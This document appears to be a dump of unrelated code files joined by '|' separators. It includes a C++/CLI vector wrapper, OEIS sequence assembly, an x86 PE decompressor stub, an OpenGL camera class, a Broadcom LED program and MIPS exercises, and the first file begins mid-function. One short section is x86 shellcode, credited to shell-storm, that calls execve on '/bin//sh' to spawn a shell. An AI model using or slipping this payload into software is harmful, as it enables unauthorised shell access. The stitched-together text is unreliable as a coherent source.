throw gcnew ArgumentOutOfRangeException("index");
}
auto defPtr = InternalConstDefinitionClassPtrDynamicVectorClassPointer->operator[](index);
if (defPtr == nullptr)
{
return nullptr;
}
else
{
return DefinitionClass::CreateDefinitionClassWrapper(defPtr);
}
}
void ConstDefinitionClassPtrDynamicVectorClass::default::set(int index, IDefinitionClass^ value)
{
if (index < 0 || index >= Count)
{
throw gcnew ArgumentOutOfRangeException("index");
}
if (value == nullptr || value->DefinitionClassPointer.ToPointer() == nullptr)
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->operator[](index) = nullptr;
}
else
{
InternalConstDefinitionClassPtrDynamicVectorClassPointer->operator[](index) = reinterpret_cast<::DefinitionClass*>(value->DefinitionClassPointer.ToPointer());
}
}
int ConstDefinitionClassPtrDynamicVectorClass::Length::get()
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Length();
}
int ConstDefinitionClassPtrDynamicVectorClass::Count::get()
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Count();
}
void ConstDefinitionClassPtrDynamicVectorClass::Count::set(int value)
{
if (value < 0 || value > Length)
{
throw gcnew ArgumentOutOfRangeException("value");
}
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Set_Active(value);
}
int ConstDefinitionClassPtrDynamicVectorClass::GrowthStep::get()
{
return InternalConstDefinitionClassPtrDynamicVectorClassPointer->Growth_Step();
}
void ConstDefinitionClassPtrDynamicVectorClass::GrowthStep::set(int value)
{
if (value < 1)
{
throw gcnew ArgumentOutOfRangeException("value");
}
InternalConstDefinitionClassPtrDynamicVectorClassPointer->Set_Growth_Step(value);
}
bool ConstDefinitionClassPtrDynamicVectorClass::InternalDestroyPointer()
{
Imports::DestroyConstDefinitionClassPtrDynamicVectorClass(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
Pointer = IntPtr::Zero;
return true;
}
::DynamicVectorClass<const ::DefinitionClass*>* ConstDefinitionClassPtrDynamicVectorClass::InternalConstDefinitionClassPtrDynamicVectorClassPointer::get()
{
return reinterpret_cast<::DynamicVectorClass<const ::DefinitionClass*>*>(Pointer.ToPointer());
}
IntPtr ConstDefinitionClassPtrDynamicVectorClass::Vector::get()
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
return IntPtr(helper->GetVector());
}
void ConstDefinitionClassPtrDynamicVectorClass::Vector::set(IntPtr value)
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
helper->SetVector(reinterpret_cast<::DefinitionClass * *>(value.ToPointer()));
}
int ConstDefinitionClassPtrDynamicVectorClass::VectorMax::get()
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
return helper->GetVectorMax();
}
void ConstDefinitionClassPtrDynamicVectorClass::VectorMax::set(int value)
{
if (value < 0)
{
throw gcnew ArgumentOutOfRangeException("value");
}
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
helper->SetVectorMax(value);
}
bool ConstDefinitionClassPtrDynamicVectorClass::IsValid::get()
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
return helper->GetIsValid();
}
void ConstDefinitionClassPtrDynamicVectorClass::IsValid::set(bool value)
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
helper->SetIsValid(value);
}
bool ConstDefinitionClassPtrDynamicVectorClass::IsAllocated::get()
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
return helper->GetIsAllocated();
}
void ConstDefinitionClassPtrDynamicVectorClass::IsAllocated::set(bool value)
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
helper->SetIsAllocated(value);
}
int ConstDefinitionClassPtrDynamicVectorClass::ActiveCount::get()
{
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
return helper->GetActiveCount();
}
void ConstDefinitionClassPtrDynamicVectorClass::ActiveCount::set(int value)
{
if (value < 0 || value > VectorMax)
{
throw gcnew ArgumentOutOfRangeException("value");
}
auto helper = reinterpret_cast<DynamicVectorClassHelper<::DefinitionClass*>*>(InternalConstDefinitionClassPtrDynamicVectorClassPointer);
helper->SetActiveCount(value);
}
} |
; A051689: a(n) = (5*n+8)(!^5)/8(!^5), related to A034300 ((5*n+3)(!^5) quintic, or 5-factorials).
; 1,13,234,5382,150696,4972968,188972784,8125829712,390039826176,20672110787328,1198982425665024,75535892816896512,5136440711548962816,374960171943074285568,29246893411559794274304,2427492153159462924767232,213619309478032737379516416,19866595781457044576295026688,1946926386582790368476912615424,200533417818027407953121999388672,21657609124346960058937175933976576
mov $1,1
mov $2,8
lpb $0
sub $0,1
add $2,5
mul $1,$2
lpe
mov $0,$1
|
section .text
; http://shell-storm.org/shellcode/files/shellcode-752.php
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80
|
;; -*- tab-width: 4 -*-
bits 32
extern _PackedData
extern _Models
extern _HashTable
extern _UnpackedData
extern _HashTableSize
extern _VirtualSize
extern _ImageBase
global _header
global _DepackEntry
global _LinkerVersionPtr
global _SubsystemTypePtr
global _ModelSkipPtr
global _BaseProbPtr
global _SpareNopPtr
global _CharacteristicsPtr
global _SaturatePtr
global _SaturateAdjust1Ptr
global _SaturateAdjust2Ptr
global _NumberOfDataDirectoriesPtr
global _ExportTableRVAPtr
HASH_MULTIPLIER equ 111
BaseProbDummy equ 10
ModelSkipDummy equ 23
zero_offset equ 20
one_offset equ 16
section header align=1
_header:
; DOS header
db 'M', 'Z'
_LinkerVersionPtr:
dw 0
; COFF header
db 'P', 'E', 0, 0 ; PE signature
dw 0x014C ; Machine, 386+
dw 0 ; Number of sections
; 12 bytes:
; Timestamp
; Symbol table pointer
; Number of symbols
ModelEnd:
add ebx, ebx ; Put decoded bit in carry ;2
popa ;1
jg short AritDecode ;2
WriteBit:
rcl byte[edi], 1 ; Shift the decoded bit in ;2
jnc short _DepackEntry ; Finished the byte? ;2
inc edi ;1
jmp short WriteBit ; New byte = 1 ;2
dw 8 ; Size of optional header
_CharacteristicsPtr:
dw 2 ; Characteristics
; (bit 1 must be set, bit 13 must be clear)
; Optional header (PE-header)
dw 0x010B ; Magic (Image file)
; 18 bytes:
; Major/Minor linker version
; Size of code
; Size of initialized data
; Size of uninitialized data
; Entry point
AritDecodeLoop2:
adc ecx, ecx ; Shift bit in ;2
inc ebp ; Next bit ;1
AritDecode:
test eax, eax ; Test sign ;2
jns short AritDecodeLoop; Loop while msb of interval == 0 ;2
add ebx, edx ; ebx = p0 + p1 ;2
push eax ; Push interval_size ;1
mul edx ; edx:eax = p0 * interval_size ;2
nop ;1
cmp eax, strict dword DepackInit-_header ;5
; 8 bytes:
; Base of code
; Base of data
div ebx ; eax = (p0 * interval_size) / (p0 + p1);2
; eax = threshold value between 0 and 1
cmp ecx, eax ; data < threshold? ;2
sbb ebx, ebx ; ebx = -cf = -bit ;2
jmp short AritDecode3 ;2
dd _ImageBase ; Image base
dd 4 ; Section alignment (and PE header offset)
dd 4 ; File alignment (on disk)
; 12 bytes:
; Major/minor OS version
; Major/minor image version
; Major/minor subsystem version
AritDecodeLoop:
bt [_PackedData], ebp ; Test bit ;7
db 0x8D ; Shift interval: lea eax, [eax*2] ;1
dw 4 ; Major subsystem version ;2
jmp short AritDecodeLoop2 ;2
dd 0 ; Reserved (Must be 0)
ModelEndJumpPad:
dd _VirtualSize + 0x2B6EB; Size of image (and jmp short ModelEnd)
dd 64 ; Size of headers
; (must be <= entrypoint on Win8+, and at least 44 on WinXP)
; 4 bytes:
; Checksum
DepackInit:
push ebx ; ebx = PEB ;1
xor ebp, ebp ; ebp = 0 ;2
db 0xBB ; mov ebx, const ;1
_SubsystemTypePtr:
dw 2 ; Subsystem
dw 0 ; DLL characteristics
; 16 bytes:
; Size of stack reserve
; Size of stack commit
; Size of heap reserve
; Size of heap commit
; (must all have reasonable sizes, since these are allocated)
nop ; 90 ;1
mov esi, _Models ; BE 7C 01 40 00 ;5
push byte 1 ; 6A 01 ;2
pop eax ; 58 ;1
mov edi, _UnpackedData ; BF 00 00 42 00 ;5
mov cl, 0 ; B1 00 ;2
; 4 bytes:
; Loader flags
_SpareNopPtr:
nop ; push edi when using call transform ;1
push edi ;1
; Initialized state:
; edi = _UnpackedData
; esi = _Models
; ebp = 0
; ecx = 0
; eax = 1
; ebx = subsystem version
; Stack: _UnpackedData (twice when using call transform), PEB
jmp short _DepackEntry ;2
_NumberOfDataDirectoriesPtr:
dd 0 ; Number of RVAs and Sizes
; Data directories
_ExportTableRVAPtr:
dd 0 ; Export Table RVA
; 4 bytes:
; Export Table Size
AritDecode3:
pop edx ; edx = interval_size ;1
jb short .zero ;2
;one
xchg eax, edx ; eax = interval_size, edx = threshold ;1
; 4 bytes:
; Import Table RVA (must point to valid, zeroed memory)
sub ecx, edx ; data -= threshold ;2
add al, 0 ; 04 00 ;2
; 8 bytes:
; Import Table Size
; Resource Table RVA
sub eax, edx ; eax = interval_size - threshold ;2
.zero:
; ebx = -bit
; ecx = new data
; eax = new interval size
_DepackEntry:
EndCheck:
pusha ;1
lodsd ;1
add eax, edi ;2
je short InitHash ; block_end == unpacked_byte_offset ;2
; carry = 1
; 36 bytes:
; Resource Table Size
; Exception Table RVA
; Exception Table Size
; Certificate Table RVA
; Certificate Table Size
; Base Relocation Table RVA
; Base Relocation Table Size
; Debug RVA
; Debug Size (must be 0)
Model:
; Find probs from model
; If ebx is 0 or 1,
; update model with bit value in ebx
push byte BaseProbDummy ;2
BaseProbPtrP1:
pop edx ;1
; Take advantage of the fact that base prob is always 10
; mov [esp+zero_offset], edx
mov [esp+edx*2], edx ;3
mov [esp+one_offset], edx ;4
; Init weight
lodsd ; Model weight shift mask ;1
xor ebp, ebp ; weight = 0 ;2
ModelLoop:
dec ebp ; weight-- ;1
IncreaseWeight:
inc ebp ; weight++ ;1
add eax, eax ; Check next bit in model weight mask ;2
jc short IncreaseWeight ;2
jz short ModelEndJumpPad ;2
pusha ;1
lodsb ; Model mask ;1
mov dl, al ; dl = mask ;2
.hashloop:
xor al, [edi] ;2
imul eax, byte HASH_MULTIPLIER ;3
add al, [dword edi + 0] ;6
dec eax
.next:
dec edi ; Next byte
add dl, dl ; Hash byte?
jc short .hashloop
jnz short .next
; cf = 0
; zf = 1
InitHash:
mov edi, _HashTable
mov ecx, _HashTableSize
jnc short UpdateHash
_ClearHash:
rep stosw
or al, [esi]
popa
lea esi, [esi + ModelSkipDummy]
ModelSkipPtrP1:
jpo short EndCheck
ret
UpdateHash:
div ecx
; edx = hash
lea edi, [edi + edx*2] ; edi = hashTableEntry
; Calculate weight
mov ecx, ebp ; ecx = weight
xor eax, eax ; eax = 0
scasb
je short .boost
add [edi], al
jne short .notboost
.boost:
inc ecx
inc ecx
.notboost:
; Add probs
.bits:
movzx edx, byte [edi + eax]
shl edx, cl
add [esp + 8*4 + zero_offset + eax*4], edx
dec eax
jp short .bits
; eax = -1
test ebx, ebx
jg short SkipUpdate
SaturateAdjust1PtrP1:
; Half if > 1
shr byte [edi + ebx], 1
jnz short .nz
rcl byte [edi + ebx], 1
.nz:
; Inc correct bit
not ebx
inc byte [edi + ebx]
_SaturatePtr:
; Saturation code inserted here when the /SATURATE option is used:
; jnz .nowrap
; dec byte [edi + ebx]
;.nowrap:
SkipUpdate:
popa
inc esi ; Next model
jmp short ModelLoop
SaturateAdjust2PtrP1:
_ModelSkipPtr equ ModelSkipPtrP1-1
_BaseProbPtr equ BaseProbPtrP1-1
_SaturateAdjust1Ptr equ SaturateAdjust1PtrP1-1
_SaturateAdjust2Ptr equ SaturateAdjust2PtrP1-1
|
#include "Application.h"
#include "ComponentCamera.h"
#include "Globals.h"
#include "Scene.h"
#include "Camera3D.h"
#include "Window.h"
#include "Transform.h"
#include "ImGui/imgui.h"
ComponentCamera::ComponentCamera() : Component(nullptr)
{
frustrum.type = FrustumType::PerspectiveFrustum;
frustrum.nearPlaneDistance = 0.1f;
frustrum.farPlaneDistance = 500.f;
frustrum.front = float3::unitZ;
frustrum.up = float3::unitY;
frustrum.verticalFov = 60.0f * DEGTORAD;
frustrum.horizontalFov = 2.0f * atanf(tanf(frustrum.verticalFov / 2.0f) * (16.f/9.f));
frustrum.pos = float3(-50.0f, 44.0f, 80.0f);
//CalculateViewMatrix();
}
ComponentCamera::ComponentCamera(GameObject* obj) : Component(obj)
{
frustrum.type = FrustumType::PerspectiveFrustum;
frustrum.nearPlaneDistance = 0.1;
frustrum.farPlaneDistance = 200.f;
frustrum.front = obj->transform->GetForward();
frustrum.up = obj->transform->GetUp();
frustrum.verticalFov = 60.0f * DEGTORAD;
frustrum.horizontalFov = 2.0f * atanf(tanf(frustrum.verticalFov / 2.0f) * (16.f / 9.f));
frustrum.pos = obj->transform->GetWorldPosition();
}
ComponentCamera::~ComponentCamera()
{
glDeleteFramebuffers(1, &framebuffer);
glDeleteTextures(1, &texColorBuffer);
glDeleteRenderbuffers(1, &rbo);
}
void ComponentCamera::Update()
{
if (updateCamera)
{
CalculateViewMatrix();
}
if (showFrustrum == true) {
float3 points[8];
frustrum.GetCornerPoints(points);
DrawBoundingBoxes(points, float3(0.2f, 1.f, 0.101f));
}
}
void ComponentCamera::OnEditor()
{
if (ImGui::CollapsingHeader("Camera", ImGuiTreeNodeFlags_DefaultOpen))
{
if (ImGui::Checkbox("Main Camera", &isMainCamera))
{
if (app->scene->mainCamera != nullptr)
app->scene->mainCamera->isMainCamera = false;
if (isMainCamera)
{
app->scene->mainCamera = this;
ReGenerateFrameBuffer(app->window->GetWindowWidth(), app->window->GetWindowHeight());
}
else
app->scene->mainCamera = nullptr;
}
ImGui::Checkbox("Show Frustrum Boxes", &showFrustrum);
ImGui::PushItemWidth(150);
ImGui::DragFloat("Verti FOV: ", &frustrum.verticalFov, 0.1f, 0.0f, 300.f);
ImGui::DragFloat("Horiz FOV: ", &frustrum.horizontalFov, 0.1f, 0.0f, 300.f);
if (ImGui::DragFloat("Near plane", &frustrum.nearPlaneDistance, 0.1f))
{
if (frustrum.nearPlaneDistance < 0.1f) frustrum.nearPlaneDistance = 0.1f;
if (frustrum.nearPlaneDistance > frustrum.farPlaneDistance) frustrum.nearPlaneDistance = frustrum.farPlaneDistance - 0.1f;
}
if (ImGui::DragFloat("Far plane", &frustrum.farPlaneDistance, 0.1f))
{
if (frustrum.farPlaneDistance < frustrum.nearPlaneDistance) frustrum.farPlaneDistance = frustrum.nearPlaneDistance + 0.1f;
}
ImGui::PopItemWidth();
}
}
void ComponentCamera::PreUpdate()
{
glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
glClearColor(0.10f, 0.10f, 0.10f, 1.f);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glEnable(GL_DEPTH_TEST);
glLoadIdentity();
glMatrixMode(GL_PROJECTION);
glLoadMatrixf(frustrum.ProjectionMatrix().Transposed().ptr());
glMatrixMode(GL_MODELVIEW);
glLoadMatrixf(viewMatrix.Transposed().ptr());
}
void ComponentCamera::ReGenerateFrameBuffer(int w, int h)
{
RecalculateProjection(w / h);
if (framebuffer > 0)
glDeleteFramebuffers(1, &framebuffer);
if (texColorBuffer > 0)
glDeleteTextures(1, &texColorBuffer);
if (rbo > 0)
glDeleteRenderbuffers(1, &rbo);
glGenFramebuffers(1, &framebuffer);
glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
glGenTextures(1, &texColorBuffer);
glBindTexture(GL_TEXTURE_2D, texColorBuffer);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, w, h, 0, GL_RGB, GL_UNSIGNED_BYTE, NULL);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glBindTexture(GL_TEXTURE_2D, 0);
// attach it to currently bound framebuffer object
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texColorBuffer, 0);
glGenRenderbuffers(1, &rbo);
glBindRenderbuffer(GL_RENDERBUFFER, rbo);
glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, w, h);
glBindRenderbuffer(GL_RENDERBUFFER, 0);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_STENCIL_ATTACHMENT, GL_RENDERBUFFER, rbo);
if (glCheckFramebufferStatus(GL_FRAMEBUFFER) != GL_FRAMEBUFFER_COMPLETE)
LOG(LogType::L_ERROR, "ERROR::FRAMEBUFFER:: Framebuffer is not complete!");
glBindFramebuffer(GL_FRAMEBUFFER, 0);
}
void ComponentCamera::PostUpdate()
{
glBindFramebuffer(GL_FRAMEBUFFER, 0);
}
void ComponentCamera::CalculateViewMatrix()
{
updateCamera = false;
frustrum.pos = GetOwner()->transform->GetWorldPosition();
frustrum.front = GetOwner()->transform->GetForward();
frustrum.up = GetOwner()->transform->GetUp();
viewMatrix = frustrum.ViewMatrix();
}
void ComponentCamera::RecalculateProjection(float aspectR)
{
aspectRatio = aspectR;
frustrum.type = FrustumType::PerspectiveFrustum;
frustrum.verticalFov = (FOV * PI / 2) / 180.f;
frustrum.horizontalFov = 2.f * atanf(tanf(frustrum.verticalFov * 0.5f) * aspectRatio);
}
|
; A024630: n written in fractional base 4/2.
; 0,1,2,3,20,21,22,23,200,201,202,203,220,221,222,223,2000,2001,2002,2003,2020,2021,2022,2023,2200,2201,2202,2203,2220,2221,2222,2223,20000,20001,20002,20003,20020,20021,20022,20023,20200,20201,20202,20203,20220,20221,20222,20223,22000,22001,22002,22003,22020,22021,22022,22023,22200,22201,22202,22203,22220,22221,22222,22223,200000,200001,200002,200003,200020,200021,200022,200023,200200,200201,200202,200203,200220,200221,200222,200223,202000,202001,202002,202003,202020,202021,202022,202023,202200,202201,202202,202203,202220,202221,202222,202223,220000,220001,220002,220003
mov $1,$0
mul $0,2
mul $1,2
div $1,4
seq $1,228071 ; Write n in binary and interpret as a decimal number; a(n) is this quantity minus n.
mul $1,4
add $0,$1
div $0,2
|
;
; $Id: bcm956174r.asm, v 1.0 2017/11/20 15:30:14 leonlee Exp $
;
; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
;
; Copyright 2007-2020 Broadcom Inc. All rights reserved.
;
; This example is used for showing the serial EGPHY LEDs on
; bcm956174r on option 11b.
;
; To start it, use the following commands from BCM:
;
; led load bcm956174r.hex
; led auto on
; led start
;
; Each GE port needs to output 2 bits stream,
; bit 0: LED_0 (Link)
; bit 1: LED_1 (Activity)
;
; Totally 24 ports need be outputed, i.e. 48 (= 24 * 2) bits.
; The output sequence for EGPHY will follow the user port sequence.
;
; The LED sequence is (User Port, Front Panel Order)
; 2-9 18-33
; Mapping onto physical port view, the sequence is:
; 26-33 42-57
; The output order should be the inverted sequence of the physical
; mapping view
; 57-42 33-26
; Link up/down info cannot be derived from LINKEN, as the LED
; processor does not always have access to link status. This program
; assumes link status is kept current in bit 0 of RAM byte (0xA0 + portnum).
; Generally, a program running on the main CPU must update these
; locations on link change; see linkscan callback in
; $SDK/src/appl/diag/ledproc.c.
;
;
; Constants
;
; the smaller the TXRX_ALT_TICKS the faster it blinks
TXRX_ALT_TICKS EQU 5
TXRX_ALT_COUNT equ 30
NUM_PORTS equ 24
START_PORT_0 equ 57
END_PORT_0 equ 42
START_PORT_1 equ 33
END_PORT_1 equ 26
;
; LED process
;
start_sec0:
ld a, START_PORT_0
iter_sec0:
port a
ld (PORT_NUM), a
call get_activity_hw
call get_link_hw
ld a, (PORT_NUM)
dec a
cmp a, END_PORT_0 - 1
jnz iter_sec0
start_sec1:
ld a, START_PORT_1
iter_sec1:
port a
ld (PORT_NUM), a
call get_activity_hw
call get_link_hw
ld a, (PORT_NUM)
dec a
cmp a, END_PORT_1 - 1
jnz iter_sec1
update:
inc (TXRX_ALT_COUNT)
end:
send 2*NUM_PORTS
;
; get_link_hw
;
; This routine finds the link status LED for a port from HW.
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if link is up, clear if link is down.
; Destroys: a, b
get_link_hw:
pushst LINKEN
pop
jc led_on
jmp led_off
;
; get_link_sw
;
; This routine finds the link status LED for a port.
; Link info is in bit 0 of the byte read from PORTDATA[port]
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if link is up, clear if link is down.
; Destroys: a, b
get_link_sw:
ld b, PORTDATA
add b, (PORT_NUM)
ld a, (b)
tst a, 0
jc led_on
jmp led_off
;
; get_activity_hw
;
; This routine finds the link status LED for a port from HW.
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if RX or TX is up, clear if link is down.
; Destroys: a, b
get_activity_hw:
port a
pushst RX
pushst TX
tor
pop
jc led_blink ; Show activity
jmp led_off
;
; get_linkact_status
;
; This routine finds the link and activity status for a port from HW.
; The LED will blink if there is activity.
; Inputs: a
; Outputs: LED stream for on or off.
; Destroys: b
get_linkact_status:
port a
pushst LINKEN
pop
jnc led_off ; Always black, No LINK
pushst RX
pushst TX
tor
pop
jc led_blink ; Show activity
jmp led_on ; Show Link
led_blink:
ld b, (TXRX_ALT_COUNT)
and b, TXRX_ALT_TICKS
jz led_on
jmp led_off
;
; led_on
;
; Outputs: Bits to the LED stream indicating ON
;
led_on:
push 0
pack
ret
;
; led_off
;
; Outputs: Bits to the LED stream indicating OFF
;
led_off:
push 1
pack
ret
;
; led_off_2
;
; Outputs: Bits to the LED stream indicating OFF
;
led_off_2:
push 1
pack
push 1
pack
ret
;
; led_green
; For 10G port LED, outputs two bit
; Outputs: Bits to the LED stream indicating GREEN
;
led_green:
push 0
pack
push 0
pack
ret
;
; led_orange
; For 1G port LED, outputs two bit
; Outputs: Bits to the LED stream indicating GREEN
;
led_orange:
push 1
pack
push 0
pack
ret
; Variables (SDK software initializes LED memory from 0xA0-0xff to 0)
PORTDATA equ 0xA0
PORT_NUM equ 0xE0
; Symbolic names for the bits of the port status fields
RX equ 0x0 ; received packet
TX equ 0x1 ; transmitted packet
COLL equ 0x2 ; collision indicator
SPEED_C equ 0x3 ; 100 Mbps
SPEED_M equ 0x4 ; 1000 Mbps
DUPLEX equ 0x5 ; half/full duplex
FLOW equ 0x6 ; flow control capable
LINKUP equ 0x7 ; link down/up status
LINKEN equ 0x8 ; link disabled/enabled status
ZERO equ 0xE ; always 0
ONE equ 0xF ; always 1
|
# Si implementi la procedura minmax così definita:
# Input: un intero N e una matrice di interi M di dimensione N x N
# Output: il minimo valore tra i massimi di riga in M
.text
.globl minmax
minmax:
subu $sp, $sp, 28
sw $s0, 24($sp)
sw $s1, 20($sp)
sw $s2, 16($sp)
sw $fp, 12($sp)
sw $ra, 8($sp)
addiu $fp, $sp, 24
move $s0, $a0 # $s0 <-- &M
move $s1, $a1 # $s1 <-- N
move $s2, $a2 # $s2 <-- &arr_max
move $t0, $a2 # $t0 <-- &arr_max // copia del base address in $t0
move $t1, $a1 # $t1 <-- N // indice del ciclo seguente in $t1
for: beqz $t1, return
move $a0, $s0
move $a1, $s1
sw $t0, 4($sp)
sw $t1, ($sp)
jal max
lw $t1, ($sp)
lw $t0, 4($sp)
sw $v0, ($t0)
addi $t0, $t0, 4
addi $t1, $t1, -1
mul $t2, $s1, 4
add $s0, $s0, $t2
j for
return: move $a0, $s2
move $a1, $s1
jal min
lw $ra, 8($sp)
lw $fp, 12($sp)
lw $s2, 16($sp)
lw $s1, 20($sp)
lw $s0, 24($sp)
addi $sp, $sp, 28
jr $ra |
.macro seta_pontos
lw $s0,yellow
addi $s1, $zero, 4
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 13
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 19
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 43
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 49
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 4
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 7
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 7
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 7
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 7
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 7
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 7
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 10
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 10
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 10
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 10
draw_P()
lw $s0, red
addi $s1, $zero, 4
addi $s2, $zero, 10
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 10
draw_P()
#amarelo?
lw $s0, yellow
addi $s1, $zero, 4
addi $s2, $zero, 13
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 13
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 13
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 13
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 13
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 13
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 13
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 19
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 31
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 43
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 49
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 16
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 19
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 19
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 19
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 19
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 19
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 19
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 22
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 22
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 22
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 22
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 22
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 22
draw_P()
addi $s1, $zero, 4
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 7
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 10
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 13
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 22
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 25
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 37
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 40
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 46
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 49
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 52
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 55
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 58
addi $s2, $zero, 25
draw_P()
addi $s1, $zero, 16
addi $s2, $zero, 28
draw_P()
addi $s1, $zero, 28
addi $s2, $zero, 28
draw_P()
addi $s1, $zero, 34
addi $s2, $zero, 28
draw_P()
